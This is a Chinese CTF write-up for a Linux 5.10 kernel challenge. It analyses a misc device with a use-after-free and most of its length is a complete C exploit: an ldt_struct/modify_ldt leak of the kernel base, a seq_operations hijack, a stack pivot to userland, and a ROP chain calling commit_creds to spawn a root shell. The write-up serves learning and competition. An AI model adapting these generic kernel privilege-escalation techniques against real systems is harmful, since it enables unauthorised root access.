每周一pwn系列

基本信息

内核版本 5.10.102

  • start.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 128M \
        -kernel ./bzImage \
        -initrd ./rootfs.cpio \
        -monitor /dev/null \
        -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
        -cpu kvm64,+smep\
        -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
        -nographic \
        -no-reboot

    没开 smap 和 smep

  • init

    #!/bin/sh
    
    mkdir /tmp
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t debugfs none /sys/kernel/debug
    mount -t devtmpfs devtmpfs /dev
    mount -t tmpfs none /tmp
    mdev -s
    echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
    
    insmod /test.ko
    chmod 666 /dev/kernelpwn
    chmod 740 /flag
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    chmod 400 /proc/kallsyms
    
    poweroff -d 120 -f &
    setsid /bin/cttyhack setuidgid 1000 /bin/sh
    
    umount /proc
    umount /tmp
    
    
    poweroff -d 0  -f

逆向分析

  • kernel_init

注册了一个杂项设备 kernelpwn

  • kernel_exit

kernel_ioctl

  • add

    需要传递的是一个结构体:
    struct add_args {
        size_t size;
        char *buf;
    };


正常的kmalloc申请对象,addrList最多存储两个对象地址

  • edit

    需要传递的是一个结构体:
    struct edit_args{
    	size_t idx;
    	size_t size;
    	char *buf;
    };


size_low = LODWORD(a1.size); 只能写入size的低32位的大小

  • del
    也需要传递 edit_args 结构体

    存在UAF

漏洞利用

有两个任意大小的UAF

没开smap&smep,可以直接把内核栈迁移到用户空间去走rop,这里劫持 tty_struct 失败了,选择劫持 seq_operations

如何泄露内核基地址?利用 ldt_struct 结构体和 modify_ldt 系统调用来爆破物理直接映射区地址,泄露出 secondary_startup_64 得到内核基址

EXP

#define _GNU_SOURCE 
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
#define RDI 0xffffffff8108c420 + koff
#define ESP_PIVOT 0xffffffff819dd275 + koff //mov esp, 0x39fffdfc; ret;

size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;
size_t init_cred = 0xffffffff82a6b700;
size_t commit_creds = 0xffffffff810c9540;
size_t prepare_kernel_cred = 0xffffffff810c99d0;

size_t koff;
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[!] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

void bindCore(int core)
{
    cpu_set_t cpu_set;
	
	printf("[*] Set cpu affinity %d\n", core);
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <WIN>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}

struct add_args {
    size_t size;
    char *buf;
}req1;

struct edit_args{
	size_t idx;
	size_t size;
	char *buf;
}req2;

int fd;
int add(int size, char *buf){
	req1.size = size;
	req1.buf = buf;
	return ioctl(fd, ' ', &req1);
}

int edit(int idx, int size, char *buf){
	req2.idx = idx;
	req2.size = size;
	req2.buf = buf;
	return ioctl(fd, 'P', &req2);
}

int del(int idx){
	req2.idx = idx;
	return ioctl(fd, '0', &req2);
}

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	bindCore(0);


	fd = open("/dev/kernelpwn", O_RDWR);
	if (fd < 0) errExit("Dev open failed");  

	struct user_desc desc;
    desc.base_addr = 0xff0000;
    desc.entry_number = 0x8000 / 8;
    desc.limit = 0;
    desc.seg_32bit = 0;
    desc.contents = 0;
    desc.limit_in_pages = 0;
    desc.lm = 0;
    desc.read_exec_only = 0;
    desc.seg_not_present = 0;
    desc.useable = 0;

	char buf1[0x10]={0};
	int r = add(0x10, buf1);
	if (r != 0) printf("add return failed %d\n", r);
	del(0);

	syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
	
	size_t page_offset_base_init=0xffff888000000000;
	size_t page_offset_base = page_offset_base_init;
	size_t temp;
	int retval;
	
	
    while(1) {
		*(size_t *)buf1 = page_offset_base;
		r = edit(0, 8, buf1);
		if (r != 0) printf("edit return failed %d\n", r);

		retval = syscall(SYS_modify_ldt, 0, &temp, 8);
        if (retval > 0) {
            printf("[*] read data: %lx\n", temp);
            break;
        }
        else if (retval == 0) {
            errExit("no mm->context.ldt!");
        }
        page_offset_base += 0x1000000;	
	}
    printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m0x%lx\n",
           page_offset_base);

	*(size_t *)buf1 = page_offset_base + 0x9d000;
	r = edit(0, 8, buf1);
	if (r != 0) printf("edit return failed %d\n", r);
	retval = syscall(SYS_modify_ldt, 0, &temp, 8);
    if (retval > 0) {
        printf("[*] secondary_startup_64(): 0x%lx\n", temp);
		koff = temp - 0xffffffff81000040;//secondary_startup_64
		printf("[*] koff = 0x%lx\n", koff);
    }
	

	char buf[0x20];
	r = add(0x20, buf);
	if (r != 0) printf("add return failed %d\n", r);
	del(1);

	int stat_fds[10];
	for(int i=0; i<=10; i++){
		stat_fds[i]=open("/proc/self/stat", O_RDONLY);
		if (stat_fds[i]<0) printf("stat %d open failed\n", i);
	}

	*(size_t *)buf=(size_t)ESP_PIVOT;
	r = edit(1, 8, buf);
	if (r != 0) printf("edit return failed %d\n", r);

	char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000,
		PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
	size_t ropchain[0x20];
	int i;
	ropchain[i++]=RDI;
	ropchain[i++]=init_cred+koff;
	ropchain[i++]=commit_creds+koff;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x1b+koff;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(userland+0x4000, ropchain, sizeof ropchain);



	for(int i=0; i<=10; i++){
		read(stat_fds[i], "x1nri", 5);
	}
	
	return 0;
}

对面内核会两分钟重启,试了好多次终于在重启之前传上去并打通了呜呜

⬆︎TOP